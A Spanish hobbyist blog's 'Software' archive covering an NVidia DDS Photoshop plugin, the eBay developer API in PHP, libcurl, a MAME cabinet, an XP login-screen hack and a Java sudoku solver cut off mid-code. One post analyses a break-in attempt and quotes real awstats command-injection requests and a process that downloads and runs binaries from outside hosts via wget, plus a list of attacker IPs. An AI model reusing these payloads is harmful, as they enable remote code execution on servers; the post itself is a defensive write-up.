Lo mismo arreglo un cachivache, que fabrico un chirimbolo.
 RSS 2.0 

Posts filed under 'Software'

Plugin DDS para Photoshop

En el sitio de NVidia para desarrolladores tienen una serie de herramientas para trabajar con el formato de archivos DDS, que son las siglas de Direct Draw Surface, es decir, son bitmaps que habitualmente sirven de mapeado a los objetos en 3D que se usan en DirectX.
Como estoy haciendo un poco de investigación y necesito cambiar ciertos mappings de ciertos objetos de cierto software, pues necesitaba editar estos archivos.
Cual ha sido mi sorpresa al ver que el plugin de photoshop que me descargue e instalé no funcionaba. El photoshop debería permitirme abrir y guardar ficheros DDS y sin embargo no habia manera.
Después de instalarlo un par de veces por si acaso, me fui al directorio de plugins de photoshop para descubrir con tanto asombro como alivio, que el instalador de los tipos de NVidia usaba nombres de directorio en inglés, mientras que mi photoshop está en Español, y por eso no reconocia los plugins.
Solo hay que copiar los plugins y los scripts en los directorios que les corresponde y solucionado.
Ya puedo seguir metiendo mano al software del Tacx Fortius… oooopppsss, ¿he dicho yo eso? :D

44 comments Julio 3rd, 2006

Plugin GetSellerList de Ebay

Lo que nos quedaba era realizar un self-certification de nuestra aplicación.
Para ello simplemente rellenas un formulario con unas preguntas acerca de para que sirve tu aplicación y el entorno de desarrollo que has usado para hacerla, en mi caso PHP, y al cabo de unos minutos te envian un email con las instrucciones para pasar al entorno de producción.

Lo primero te proporcionan un nuevo conjunto de ids para el developer, la aplicación y la certificación de la misma. Ahora hay que cambiar los valores que se usaban antes en la llamada, por estos nuevos. Como tenemos un maravilloso archivo de configuración que guarda todos esos datos, porque somos unos programadores muy organizados, esta tarea es coser y cantar.

Para generar un nuevo token para el entorno de producción hay que entrar de nuevo en la herramienta de generación de tokens y rellenar los datos que pide. Despues de pasar por un par de confirmaciones de identidad, obtendremos el nuevo token que tiene una duracion de unos 18 meses.

Ponemos el token en su sitio y… error 931!! El token no es válido! Diossssss, que infierno de sistema. Si lo hiciesen un poco mas simple seguro que se extendia un poquito más su uso!!!

Vale, un poco de calma… miramos detenidamente el código… ¿que son todos estos parametros al abrir la sesión de ebay?

$session = new eBaySession($conf->userToken, $conf->devID, $conf->appID, $conf->certID, true, 433, $conf->siteID, $verb);

El único que no reconozco es ese true por ahí suelto… claro, ese indica que se use el sandbox, así que lo cambio por un false y… TACHAN!!!!
Ya tengo mis artículos en venta en Ebay en la barra lateral. Ahora solo tengo que hacer algunos retoques para que no salgan los que ya se han vendido, por ejemplo. Está todo encapsulado en un plugin para WordPress, pero con las dificultades que tiene la configuración de la conexión con Ebay, me parece que va a ser un Plugin con muy poco éxito :) .
¡Ah! y no entreis mucho en la página, que solo dispongo de 10.000 llamadas mensuales al API :-D

Add comment Marzo 31st, 2006

GetSellerList

Conseguí encontrar entre toda la documentación del Ebay Developers program la parte donde muestran de alguna forma cual es el formato de llamada que se necesita para que Ebay te devuelva la lista de artículos de un vendedor en concreto.

Se encuentra en la documentación de llamadas XML, y ahí podemos ver que la llamada correspondiente es GetSellerList.

Mi primer intento fue casi exitoso. Hice la llamada sin parámetros (aparte del nombre del vendedor, claro) y funcionó, pero no me aparecian ni los nombres de los productos ni el precio, tan solo aparecia en la respuesta el id del artículo y las fechas de inicio y final de la subasta.

Segui leyendo un poco y al final le puse mas parametros, uno que indica que quiero que me muestre toda la información disponible.

<detaillevel>ReturnAll</detaillevel>

Este a su vez me obliga a poner una paginación de resultados, ya que la información puede ser mucha, y el tag de paginación me obliga a decir las fechas de comienzo o de fin entre las que quiero buscar artículos. Así que el ejemplo mínimo queda así:

< ?xml version=“1.0″ encoding=“utf-8″?>
<getsellerlistrequest xmlns=“urn:ebay:apis:eBLBaseComponents”>
  <requestercredentials>
    <ebayauthtoken>Aqui va el token</ebayauthtoken>
  </requestercredentials>
  <userid>Makinolo</userid>
  <detaillevel>ReturnAll</detaillevel>
  <starttimefrom>2006-01-01 00:00:00</starttimefrom>
  <starttimeto>2006-03-17 00:00:00</starttimeto>
  <pagination>
    <entriesperpage>10</entriesperpage>
  </pagination>
  <includewatchcount>true</includewatchcount>
  <sort>2</sort>
</getsellerlistrequest>

Con esta petición, en teoría me devuelve un XML con todos los datos de los 10 primeros articulos que tengo puestos en venta en Ebay cuya fecha de inicio está entre el 1 de enero del 2006 y el 17 de marzo, ordenados descendentemente por fecha de finalización e incluyendo información acerca de seguimientos que tiene cada artículo.
La respuesta es demasiado larga como para ponerla aquí, pero se puede ver este ejemplo.

De ahí saco solo lo que me interesa y consigo rellenar mi página, que es lo que se pretendía. Ahora vamos a pasar del sandbox al entorno de producción real. A ver que tal.

Add comment Marzo 31st, 2006

Ebay developers program

Reconozco una adición: me he subido al carro de vendedor de Ebay y parezco un buhonero :lol: . Estoy tratando de desacerme de todas esas cosas que encuentro de repente y que no he echado de menos en los 3 años que hace de mi última mudanza.
Como lo de mirar si alguien puja por tus artículos se convierte en un impulso irrefrenable cada 4 horas, se me había ocurrido la feliz idea de colocar esa información que tanto consulto en mi propia página de Makinolo.

Así que me puse a buscar algún tipo de feed en XML (tipo SOAP o el que usé en su dia para recuperar la información del tiempo) que conectase con Ebay y me devolviese esa información.
No tardé mucho en encontrar el Ebay Developers Program donde explican perfectamente el enrevesado método para hacer lo que yo estaba pensando.

Es enrevesado porque necesitas unos 4 identificadores distintos, a saber:

  • Developer ID: cadena de 30 caracteres alfanuméricos
  • Application ID: otra cadena de 30
  • Certification ID: Otra mas
  • User Token para el sandbox (servidor de pruebas): cadena alfanumérica de 872 bytes

Toda esta información hay que mandarla en cada petición que se realiza contra el API XML remoto de Ebay, por motivos de seguridad. Pero… veamos con mas detenimiento los pasos que hay que seguir para empezar a jugar un poco con el API de Ebay.

  • Darse de alta en la web del developers program como “developer” o como “affiliate” (te piden hasta la talla de calzoncillos y son bastante quisquillosos con la longitud y composicion de usuario y password). En principio ambos son gratis si no superas cierto número de llamadas mensuales al API, y las diferencias se explican aquí.
  • Crear una entrada para vuestra aplicación con lo que conseguireis un Application ID
  • Darse de alta en el entorno de testing, el “sandbox” con un usuario, al igual que haríamos en Ebay. Ojo, elegid un usuario distinto al que teneis en Ebay, porque si no luego al entrar en Ebay real podeis tener algun problema con la cache y el navegador intentará redirigiros siempre al sandbox.
  • Conseguir el user token del sandbox entrando en la dirección que se indica en el email que os envian
  • Hacerse una autocertificación de la aplicación (self-certification) para conseguir un Certification-id

Despues de estas “sencillas” tareas, ya podreis empezar a hacer pruebas contra el sandbox. Yo he usado los ejemplos en PHP porque wordpress está en php y asi todo queda homogéneo, pero tambien hay API para Java, SOAP, C#, C++, Perl, Python, etc…

El ejemplo es una búsqueda y en el código podemos definir el código de la web de Ebay, dependiendo del pais, al que queremos hacer la consulta. US=0 , UK=3, Canada=2, Australia = 15, España=186.
Este es el meollo del asunto:

// Spain
$siteID = 186;
//the call being made:
$verb = ‘GetSearchResults’;

//Build the request Xml string
$requestXmlBody = ‘< ?xml version="1.0" encoding="utf-8" ?>’;
$requestXmlBody .= ‘<getsearchresultsrequest xmlns="urn:ebay:apis:eBLBaseComponents">’;
$requestXmlBody .= “<requestercredentials><ebayauthtoken>$userToken</ebayauthtoken></requestercredentials>”;
$requestXmlBody .= “<query>$query</query>”;
$requestXmlBody .= ‘</getsearchresultsrequest>’;

//Create a new eBay session with all details needed, CompatabilityLevel = 433 and using the test server
$session = new eBaySession($userToken, $devID, $appID, $certID, true, 433, $siteID, $verb);

//send the request and get response
$responseXml = $session->sendHttpRequest($requestXmlBody);
if(stristr($responseXml, ‘HTTP 404′) || $responseXml == )
        die(‘<p>Error sending request’);

//Xml string is parsed and creates a DOM Document object
$responseDoc = new DomDocument();
$responseDoc->loadXML($responseXml);
</p>

Después rellenamos el archivo keys.php con las claves que hemos ido recopilando y, siempre que tengamos bien instalada la librería cURL adecuada y el OpenSSL en nuestro servidor, ¡Voilá! Podremos hacer una simple búsqueda en los objetos de Ebay desde nuestra propia página.

Lo malo es que como es el sandbox, no tiene mas datos que los de gente que esté haciendo pruebas a la vez que nosotros :-( y no suelen ser muchos.

Bueno, ahora toca ir a por lo que me interesa y ver como cambio las llamadas para que en vez de pedir una busqueda, pida los artículos de un vendedor, osea los mios y que en vez de ir contra el sandbox, vaya contra el servidor real.

6 comments Marzo 16th, 2006

libcurl

No tiene nada que ver con los rizos. Es una libreria que me faltaba y que he tenido que instalar siguiendo el tedioso/odioso ritual de ./configure y make en el Linux. CURL significa Client URL.

Mientras intentaba hacer pruebas desde php para conectarme con el sandbox de Ebay para desarrolladores, ya que quiero hacer una mini aplicación que muestre cierta información en mi página, me apareció el siguiente error:

Fatal error: Call to undefined function curl_init() in XXXXXXXXX.php on line 58

Una llamadita a phpinfo() me hizo darme cuenta de que en su día, cuando instale el PHP, que ya me costó lo suyo, no incluí la libreria libcurl en el configure, porque realmente no tenía ni idea de para que servía.
Ahora no se mucho mas que antes, solo que vale para hacer conexiones con servidores remotos y que el entorno de desarrollo de Ebay la necesita para funcionar.

Así que me ha tocado bajarme la dichosa libreria, compilarla, instalarla, reconfigurar el php, recompilarlo y reinstalarlo. El sueño de cualquiera, vamos. Gracias señores de Ebay por bajarme de nuevo a los infiernos de la reconfiguración.
Mi configuración del PHP queda mas o menos así:

./configure –with-apxs2=dirapx2 –with-mysql=dirmysql –with-zlib –with-libxml –with-gd=/usr/local –with-ttf –with-freetype-dir=dirfreetype2 –enable-gd-native-ttf –with-curl=dircurl

Los problemas no acababan ahí, por supuesto, ya que libcurl ya estaba instalada en mi sistema en una version mucho mas antigua y el ./configure de php cogia siempre la antigua, que no le servía.
Después de rastrear por todo el disco las libcurls, por fin cambié las antiguas por las nuevas y ya lo tengo operativo.

4 comments Marzo 16th, 2006

Script kiddies de mierda

Los script kiddies analfabetos vuelven a la carga de nuevo.

Hace unos dias, de casualidad, vi un proceso extraño corriendo en mi linux pero lo elimine rapidamente por el acojone y no me acordaba del nombre ni los parametros, ahora me ha vuelto a aparecer (lo he vuelto a ver de casualidad), y estoy buscando info en internet para ver como pueden estar ejecutando un script en mi máquina y cual es el objetivo.
El proceso es este:

sh -c cd /tmp;wget 209.136.48.69/mirela;chmod +x mirela ./mirela

y desaparece solo al rato, supongo que cuando wget comprueba que no puede conectarse a esa dirección.

Me he puesto a investigar y lo primero que he visto en internet es que pueden estar intentando entrar por una vulnerabilidad del awstats. Lo ejecutan accediendo a awstats.pl de todas las formas posibles y, mira tu por donde, me he encontrado esto en el log del apache:

GET /cgi-bin/awstats/awstats.pl?configdir=
|echo;echo%20YYY;cd%20%2ftmp%3bwget%20209%2e136%2e48%2e69%2fmirela%3b
chmod%20%2bx%20mirela%3b%2e%2fmirela;echo%20YYY;echo| HTTP/1.1″ 404 314

Pero esa no es la puerta de entrada, nunca he instalado awstats y menos despues de leer lo que Bilo y Nano decian de esta vulnerabilidad y se ve que el apache devuelve un 404 de que no lo encuentra, sin embargo el script se estaba ejecutando así que tiene que haber entrado por otro lado.
Eso si, veo que todo el mundo intenta aprovecharse del awstats, porque hay otro intento distinto por aqui:

GET /awstats/awstats.pl?configdir=
|echo;echo%20YYY;cd%20%2ftmp%3bwget%20128%2e173%2e40%2e113%2flisten%3b
chmod%20%2bx%20listen%3b%2e%2flisten%20216%2e102%2e212%2e115;echo%20YYY;echo| HTTP/1.1″ 404 304

Menos mal que ninguno da un código 200.

Sigo investigando y veo que el problema puede estar en el WordPress, el software de blogging que uso y que tiene una vulnerabilidad en el XML-RPC, pero no veo nada en el log que indique que el script se está ejecutando desde una llamada a un php del WordPress, ademas mi WordPress es el 1.5.1 y ya no tiene ese bug.

He seguido buscando en el log la palabra “mirela” para ver si se estaba llamando a algun php pasandole el script como parametro de la peticion GET, y no encontraba ninguna línea… ninguna hasta que he seguido investigando el log y, que hijos de puta…

82.100.0.62 – - [30/Dec/2005:20:25:00 +0100] “POST /xmlrpc.php HTTP/1.1″ 404 298
82.100.0.62 – - [30/Dec/2005:20:25:01 +0100] “POST /blog/xmlrpc.php HTTP/1.1″ 404 303
82.100.0.62 – - [30/Dec/2005:20:25:02 +0100] “POST /blog/xmlsrv/xmlrpc.php HTTP/1.1″ 404 310
82.100.0.62 – - [30/Dec/2005:20:25:04 +0100] “POST /blogs/xmlsrv/xmlrpc.php HTTP/1.1″ 404 311
82.100.0.62 – - [30/Dec/2005:20:25:05 +0100] “POST /drupal/xmlrpc.php HTTP/1.1″ 404 305
82.100.0.62 – - [30/Dec/2005:20:25:06 +0100] “POST /phpgroupware/xmlrpc.php HTTP/1.1″ 404 311
82.100.0.62 – - [30/Dec/2005:20:25:09 +0100] “POST /xmlrpc.php HTTP/1.1″ 404 298
82.100.0.62 – - [30/Dec/2005:20:25:10 +0100] “POST /xmlrpc/xmlrpc.php HTTP/1.1″ 404 305
82.100.0.62 – - [30/Dec/2005:20:25:11 +0100] “POST /xmlsrv/xmlrpc.php HTTP/1.1″ 404 305
82.100.0.62 – - [30/Dec/2005:20:25:07 +0100] “POST /wordpress/xmlrpc.php HTTP/1.1″ 200 12

hacen las peticiones por POST y por eso no se ven los parámetros, resulta que el único xmlrpc que encuentra es el último (200), y es una versión del wordpress obsoleta que tenía para pruebas, que si que tenía la vulnerabilidad del xmlrpc. Por supuesto ya la he borrado. Como se ve lo intentan con varios agujeros de varios programas y en varias ubicaciones.
Llevan haciendome este ataque desde el 4 de noviembre mas o menos, que casualidad, poco antes de que apareciera la noticia de la vulnerabilidad en el foro de WordPress… y digo yo, ¿no tendrán nada mas divertido que hacer o importante que aportar al mundo? ¿Se sentirán muy orgullosos de meter en un servidor de un tipo insignificante como yo un script que ni siquiera han escrito ellos mismos por que no tienen la suficiente capacidad intelectual?

Afortunadamente el script no ha conseguido ejecutarse correctamente gracias a que la carpeta tmp no tiene permisos abiertos (los cerré a raiz del último ataque que si me entraron hasta la cocina). Si se hubiese conseguido ejecutar tendría tmp lleno de ficheros como este tipo.
DE todos modos los script kiddies son bastante lerdos en general… porque este script estaba apuntando a una URL que ni siquiera respondía.

Aquí teneis una lista de las IPs de los listillos por si quereis putear a alguien y sabeis como… yo es que no se ni me interesa.

64.238.108.11 – - [04/Nov/2005:16:52:08 +0100] “POST /wordpress/xmlrpc.php HTTP/1.1″ 200 12
83.135.162.191 – - [05/Nov/2005:13:55:55 +0100] “POST /wordpress/xmlrpc.php HTTP/1.1″ 200 12
212.246.248.132 – - [05/Nov/2005:18:56:34 +0100] “POST /wordpress/xmlrpc.php HTTP/1.1″ 200 12
213.186.41.184 – - [09/Nov/2005:09:12:02 +0100] “POST /wordpress/xmlrpc.php HTTP/1.1″ 200 12
64.81.144.43 – - [10/Nov/2005:10:03:42 +0100] “POST /wordpress/xmlrpc.php HTTP/1.1″ 200 12
217.76.137.120 – - [13/Nov/2005:10:28:32 +0100] “POST /wordpress/xmlrpc.php HTTP/1.1″ 200 12
211.214.161.159 – - [14/Nov/2005:03:41:22 +0100] “POST /wordpress/xmlrpc.php HTTP/1.1″ 200 12
82.224.76.103 – - [14/Nov/2005:06:59:18 +0100] “POST /wordpress/xmlrpc.php HTTP/1.1″ 200 12
206.205.192.10 – - [15/Nov/2005:14:18:13 +0100] “POST /wordpress/xmlrpc.php HTTP/1.1″ 200 12
81.73.80.19 – - [18/Nov/2005:18:05:13 +0100] “POST /wordpress/xmlrpc.php HTTP/1.1″ 200 12
82.207.240.202 – - [20/Nov/2005:15:31:48 +0100] “POST /wordpress/xmlrpc.php HTTP/1.1″ 200 12
220.194.61.230 – - [21/Nov/2005:07:04:16 +0100] “POST /wordpress/xmlrpc.php HTTP/1.1″ 200 12
207.111.116.83 – - [25/Nov/2005:17:18:09 +0100] “POST /wordpress/xmlrpc.php HTTP/1.1″ 200 12
211.214.219.118 – - [26/Nov/2005:22:53:29 +0100] “POST /wordpress/xmlrpc.php HTTP/1.1″ 200 12
219.149.211.2 – - [01/Dec/2005:18:56:33 +0100] “POST /wordpress/xmlrpc.php HTTP/1.1″ 200 12
194.106.15.140 – - [03/Dec/2005:21:48:26 +0100] “POST /wordpress/xmlrpc.php HTTP/1.1″ 200 12
80.81.122.177 – - [04/Dec/2005:02:52:23 +0100] “POST /wordpress/xmlrpc.php HTTP/1.1″ 200 12
209.206.228.15 – - [11/Dec/2005:17:19:18 +0100] “POST /wordpress/xmlrpc.php HTTP/1.1″ 200 12
213.232.92.146 – - [12/Dec/2005:00:56:12 +0100] “POST /wordpress/xmlrpc.php HTTP/1.1″ 200 12
85.214.19.207 – - [17/Dec/2005:02:35:06 +0100] “POST /wordpress/xmlrpc.php HTTP/1.1″ 200 12
213.84.188.152 – - [17/Dec/2005:06:18:36 +0100] “POST /wordpress/xmlrpc.php HTTP/1.1″ 200 12
211.214.161.159 – - [17/Dec/2005:09:14:39 +0100] “POST /wordpress/xmlrpc.php HTTP/1.1″ 200 12
146.83.211.157 – - [17/Dec/2005:11:18:40 +0100] “POST /wordpress/xmlrpc.php HTTP/1.1″ 200 12
66.225.208.38 – - [17/Dec/2005:15:51:11 +0100] “POST /wordpress/xmlrpc.php HTTP/1.1″ 200 12
66.57.17.88 – - [18/Dec/2005:01:45:21 +0100] “POST /wordpress/xmlrpc.php HTTP/1.1″ 200 12
212.202.245.210 – - [19/Dec/2005:18:10:09 +0100] “POST /wordpress/xmlrpc.php HTTP/1.1″ 200 12
202.28.62.40 – - [20/Dec/2005:06:58:46 +0100] “POST /wordpress/xmlrpc.php HTTP/1.1″ 200 12
200.60.14.11 – - [20/Dec/2005:10:00:30 +0100] “POST /wordpress/xmlrpc.php HTTP/1.1″ 200 12
219.149.211.2 – - [20/Dec/2005:21:09:55 +0100] “POST /wordpress/xmlrpc.php HTTP/1.1″ 200 12
220.132.176.101 – - [21/Dec/2005:04:44:17 +0100] “POST /wordpress/xmlrpc.php HTTP/1.1″ 200 12
199.217.208.166 – - [21/Dec/2005:12:28:04 +0100] “POST /wordpress/xmlrpc.php HTTP/1.1″ 200 12
141.211.107.180 – - [21/Dec/2005:13:11:15 +0100] “POST /wordpress/xmlrpc.php HTTP/1.1″ 200 12
84.244.4.67 – - [21/Dec/2005:14:27:43 +0100] “POST /wordpress/xmlrpc.php HTTP/1.1″ 200 12
209.11.145.2 – - [21/Dec/2005:16:08:14 +0100] “POST /wordpress/xmlrpc.php HTTP/1.1″ 200 12
200.52.83.68 – - [21/Dec/2005:22:42:32 +0100] “POST /wordpress/xmlrpc.php HTTP/1.1″ 200 12
66.34.70.1 – - [22/Dec/2005:06:43:55 +0100] “POST /wordpress/xmlrpc.php HTTP/1.1″ 200 12
24.6.134.18 – - [22/Dec/2005:14:07:33 +0100] “POST /wordpress/xmlrpc.php HTTP/1.1″ 200 12
216.110.45.220 – - [22/Dec/2005:15:51:52 +0100] “POST /wordpress/xmlrpc.php HTTP/1.1″ 200 12
193.157.66.28 – - [22/Dec/2005:17:08:02 +0100] “POST /wordpress/xmlrpc.php HTTP/1.1″ 200 12
202.90.149.5 – - [23/Dec/2005:00:46:46 +0100] “POST /wordpress/xmlrpc.php HTTP/1.1″ 200 12
80.203.49.61 – - [23/Dec/2005:10:04:25 +0100] “POST /wordpress/xmlrpc.php HTTP/1.1″ 200 12
210.191.208.201 – - [23/Dec/2005:17:56:21 +0100] “POST /wordpress/xmlrpc.php HTTP/1.1″ 200 12
85.93.14.19 – - [24/Dec/2005:08:18:23 +0100] “POST /wordpress/xmlrpc.php HTTP/1.1″ 200 12
66.152.66.10 – - [24/Dec/2005:17:24:37 +0100] “POST /wordpress/xmlrpc.php HTTP/1.1″ 200 12
193.109.236.172 – - [24/Dec/2005:18:58:34 +0100] “POST /wordpress/xmlrpc.php HTTP/1.1″ 200 12
216.65.55.4 – - [24/Dec/2005:19:41:18 +0100] “POST /wordpress/xmlrpc.php HTTP/1.1″ 200 12
84.246.224.179 – - [25/Dec/2005:05:50:26 +0100] “POST /wordpress/xmlrpc.php HTTP/1.1″ 200 12
72.1.209.34 – - [25/Dec/2005:07:31:47 +0100] “POST /wordpress/xmlrpc.php HTTP/1.1″ 200 12
217.167.18.179 – - [25/Dec/2005:23:07:47 +0100] “POST /wordpress/xmlrpc.php HTTP/1.1″ 200 12
213.203.171.98 – - [26/Dec/2005:00:51:54 +0100] “POST /wordpress/xmlrpc.php HTTP/1.1″ 200 12
203.162.0.170 – - [26/Dec/2005:05:51:14 +0100] “POST /wordpress/xmlrpc.php HTTP/1.1″ 200 12
84.246.224.179 – - [26/Dec/2005:09:20:26 +0100] “POST /wordpress/xmlrpc.php HTTP/1.1″ 200 12
82.237.230.190 – - [26/Dec/2005:20:49:14 +0100] “POST /wordpress/xmlrpc.php HTTP/1.1″ 200 12
212.142.138.233 – - [29/Dec/2005:01:44:04 +0100] “POST /wordpress/xmlrpc.php HTTP/1.1″ 200 12
210.143.111.146 – - [29/Dec/2005:05:52:31 +0100] “POST /wordpress/xmlrpc.php HTTP/1.1″ 200 12
85.31.129.149 – - [29/Dec/2005:19:36:36 +0100] “POST /wordpress/xmlrpc.php HTTP/1.1″ 200 12
82.100.0.62 – - [30/Dec/2005:20:25:07 +0100] “POST /wordpress/xmlrpc.php HTTP/1.1″ 200 12

Moraleja, para protegerte de este ataque, cuida tus permisos del directorio /tmp lo primero, si tienes awstats ponte la ultimisima version y si tienes WordPress, lo mismo.

Add comment Diciembre 31st, 2005

Mamecab: el software

Nunca pensé que esto fuera tan complicado, de hecho en un principio lo iba a montar un amigo, pero viendo todo lo que hay que saber para montarlo como yo quiero, he decidido empaparme de mame hasta los huesos en maratonianas sesiones de leer páginas web, descargar programas, roms, tables y un montón de ficheros auxiliares.
¿Que se necesita para tener una máquina que emule las principales maquinitas de marcianos y además se pueda jugar a pinball con ella?
Necesitamos nada mas y nada menos que todo lo siguiente

  • El MAME (MultiArcade Machine Emulator) en su version sin GUI, ya que el mame32 lleva un gui incorporado que solo permite jugar al MAME y yo voy a querer lanzar otros emuladores, como el de pinball o por qué no, el de spectrum.
  • Un front-end que permita cambiar de emulador y que muestre imagenes de los juegos antes de lanzarlos para poder elegir comodamente. En mi caso he elegido el Mamewah por que me permite lanzar casi de todo y es uno de los mas extendidos.
  • Las ROMs de los juegos de MAME, que son las que contienen cada una de las máquinas. (He hecho una lista con una selección de los juegos mas conocidos, porque toda la colección ocupa varios gigas y no es plan de perderse eligiendo juegos.)
  • Los snapshots de los juegos, para previsualizarlos antes de jugar.
  • Las imagenes de las máquinas reales.
  • Las imágenes de las marquesinas de las máquinas.
  • Los archivos de audio de aquellas roms cuyos chips de sonido aún no se han podido emular y que se imitan lanzando audio sampleado.
  • Un emulador de Pinball, el Visual Pinball.
  • Un emulador de roms y marcadores de pinballs, el VpinMAME.
  • Un wrapper para lanzar el visual pinball y el vpinmame desde línea de comandos, el vp-launch.
  • Las mesas de pinball (tables) y sus ROMs correspondientes (es mejor pillarlas en un paquete con la mula por que la web que las tiene te obliga a registrarte y a esperar 5 minutos entre descargas)
  • Un programa para mostrar para que sirve cada boton en cada juego antes de lanzarlo, en mi caso el CPViewer.

El mamewah es un infierno para configurarlo. Hasta que aprendes a base de prueba-error como se rellena cada uno de los archivos .ini que hay que tener y donde tienen que ir y como se tienen que llamar los ficheros, pero al menos te deja crear tus propias pantallas de seleccion de juegos, pudiendo colocar cada elemento donde prefieras y con imagenes. Estos diseños se llaman layouts y en mi caso voy a crear 4, para el mame, el V Pinball, el emulador de spectrum y un cuarto para lanzar vídeos.

Este es uno de los pantallazos, creados por Lord Hiryu bajo pedido, junto con el arte de la máquina:


Mamewah layout

Ya soy un experto configurador del mamewah y del resto de los programas asociados :)

Seguir a parte V: Terminado>>

5 comments Diciembre 14th, 2005

Cambiar Login Screen en XP

Como continuación del post de cómo cambiar el bootscreen, comento ahora que es lo que hay que hacer para cambiar el login screen de Windows XP.
Esto solo es posible cuando tenemos marcado en las propiedades del inicio de sesion que Windows nos muestre la pantalla de bienvenida.

Este hack es mas sencillo y entraña menos riesgo que el del bootscreen, pero es igual de laborioso y por supuesto me hago tan responsable de esto como del otro hack, es decir NADA EN ABSOLUTO.
Los principios son mas o menos los mismos, necesitamos un editor de recursos como el ya mencionado Resource Hacker, y con el editaremos esta vez una copia del fichero logonui.exe que se encuentra en \windows\system32.
Este fichero es el encargado de pedirnos el login al iniciar la sesion en windows. Esta vez los bitmaps que contiene si que llevan su propia paleta, que en esta ocasión permite 32 bits de color, con lo que tendremos muchas mas posibilidades a la hora de crear una pantalla de login personalizada.

Vamos a cambiar lo que aparece en la primera pantalla, por lo que aparece en la segunda.


Original
Hacked

En mi caso, el logon screen de la recreativa que estoy construyendo no va a pedir login y password, sino que va a entrar directamente al sistema para hacer mas límpia la experiencia de juego. Por ello voy a obviar la mayor parte de los bmps que se refieren a las partes donde se introduce la password.
En los bmps que podemos encontrar dentro de logonui.exe me interesa principalmente el 100, que es la imagen que aparece arriba a la izquierda (en el original es una especie de degradado azul, en mi caso es plug, la mascota de Zinkia), el 123 y 127, que son los logotipos de windows que aparecen al iniciar y apagar windows respectivamente y el 125 y 126 que son las lineas superior e inferior que dividen el logon screen en 3 partes. El resto de los bmps son bastante explicitos por si mismos y no creo que tengais problemas en reconocerlos.

Una vez cambiados estos paso a modificar el mensaje de bienvenida, que originalmente reza “Bienvenidos”. Yo quiero poner el nombre de la máquina, asi que me dirijo al String Table dentro de los recursos y en el apartado 1 encuentro dicha cadena. Tambien están ahí los tipos de letra que se usan, así que decido cambiarlos. En un principio estaba puesta Arial, pero yo voy a ser un poco atrevido y voy a poner una tipografía que se llama SirClive y que imita a las letras del logotipo del Spectrum. Queda así

STRINGTABLE
LANGUAGE LANG_SPANISH, 0×3
{
1, “sirclive”
2, “sirclive”
3, “arial”
6, “Escriba su contraseña”
7, “Plug & Play”
8, “Vuelva a escribir su contraseña. \nAsegúrese de que usa las letras mayúsculas o minúsculas correctamente.”
9, “Puede hacer clic en el botón \”?\” para ver la sugerencia de su contraseña.\n\nVuelva a escribir su contraseña de nuevo. \nAsegúrese de que usa las letras mayúsculas y minúsculas correctas.”
10, “¿Ha olvidado la contraseña?”
11, “Apagar equipo”
12, “Apagar %s”
13, “Sugerencia de contraseña:”
14, “Desacoplar equipo”
15, “Iniciada la sesión”
}

Ahora viene lo mas interesante. En el apartado UIFILE/1000 el unico recurso, el 3082 parece estar vacío, pero no es así. Solo teneis que hacer un poco de scroll para encontraros una mina. Se trata de la definición del layout de todas las partes de la pantalla, con posiciones, tamaños, colores de cada una de las zonas de la misma. Está en una especie de XML por lo que es muy sencillo de editar.
Con un poco de paciencia podemos ir identificando cada una de las zonas y cambiando los colores a placer. No explicaré concienzudamente los cambios que he hecho yo por que de poco os van a servir, pero por poner un ejemplo, el recurso empieza con :

<style resid=framess>
element
{
background: argb(0,0,0,0);
}
element [id=atom(contentcontainer)]
{
background: rgb(90,126,220);
}
button
{
background: rcbmp(112,6,#FF00FF,0,0,1,0);
borderthickness: rect(8,8,0,8);
}
</style>

Basta cambiar el segundo background por

background: white;

Compilamos el script con el boton al efecto, guardamos el nuevo logonui.exe, y hacemos la misma operación que en el hack del ntoskrnl.exe, reiniciamos con simbolo del sistema, lo copiamos sobre el antiguo logonui.exe y reiniciamos. Toda la parte central será blanca a partir de este momento.

Otra forma que no he probado para hacer instantaneo el cambio sin necesidad de reiniciar es copiar el logonui.exe que acabamos de modificar en la carpeta de sistema oculta \windows\system32\dllcache y despues de ello, copiar sobre \windows\system32\. Se supone que al cabo de un tiempo windows te avisa de que se han modificado ficheros del sistema, que insertes el CD de windows y mas movidas que ignoramos y cancelamos. Cuando pregunte si queremos conservar los archivos que han sido modificados le decimos que si y ya está.

Otras notas a tener en cuenta es por ejemplo el uso de los recursos dentro del propio layout. Podemos ver que en algunas lineas aparece algo como esto:

fontsize: rcint(44) pt;

Significa que el tamaño de la fuente viene dado por el recurso numero 44 “rcint(44)” (no creais que el tamaño es 44, como me pasó a mi al pincipio, lo cambie por un 24 y luego obtuve un error de que el recurso 24 no existia). Si nos vamos al String Table veremos que el recurso 42 indica un tamaño de letra de 36, que yo he cambiado por 14, ya que la tipografía que he usado es mucho mas grande que la arial original y mi texto mas largo.

Con estas nociones se puede dejar la pantalla de login como queramos, eso si, cada prueba lleva un rato de reinicios, así que es mejor armarse de un poco de paciencia. Para los que no la tengais… usad una herramienta para cambiar el aspecto de windows, tios vagos.

Me han sido de gran ayuda para enterder este lio ZmAn3 y Matt Cameron. Gracias!.

19 comments Octubre 21st, 2005

Resolvedor de sudokus

El otro día me invitaron a una fiesta: la fiesta del sudoku.
Ya había oido hablar del pasatiempo del verano y tal, pero nunca me había molestado en examinar el dichoso juego. Hasta el otro día.
Aparte de la fiesta en si, que la verdad estuvo bastante cachonda (gracias a la anfitriona Ana de Benavente ;-) , la invitación contenía en su reverso un Sudoku que había que resolver. Tuve que buscar las reglas del juego por internet y al verlo no pude menos que recordad mis viejos tiempos de la universidad, y aquellos manidos ejemplos de problemas de recursividad que se estudiaban en algoritmia.
El sudoku puede parecer entretenido a algunos, a mi me pareció un problema de examen de algoritmia :) , así que me puse a resolverlo.

Las reglas:

  • El numero colocado no puede estar repetido en ninguna celda de la misma columna
  • El numero colocado no puede estar repetido en ninguna celda de la misma fila
  • El numero no puede estar repetido en ninguna celda del mismo grupo de 3×3

Método elegido :
Fuerza bruta, recursividad con Backtracking, cortando las ramas que no llevan a soluciones.

Me arranqué el Intellij Idea de JetBrains, mi entorno de programación en Java, y empezé a engrasar mis oxidados conceptos de recursividad hasta que di con el algoritmo que resuelve cualquier Sudoku que tenga solución.

Esta muy basto, no tiene ni un mal interfaz de usuario, pero funciona :) . Para el que lo quiera, aqui está.

public class Sudoku
{
    private static int[][] tablero;
    private static int pasadas=0;

    public static void main(String[] args)
    {
        tablero = new int[11][11];

        // Inicializacion del tablero
        for (int col=0; col&lt;11; col++)
            for (int fil=0; fil&lt;11 ; fil++)
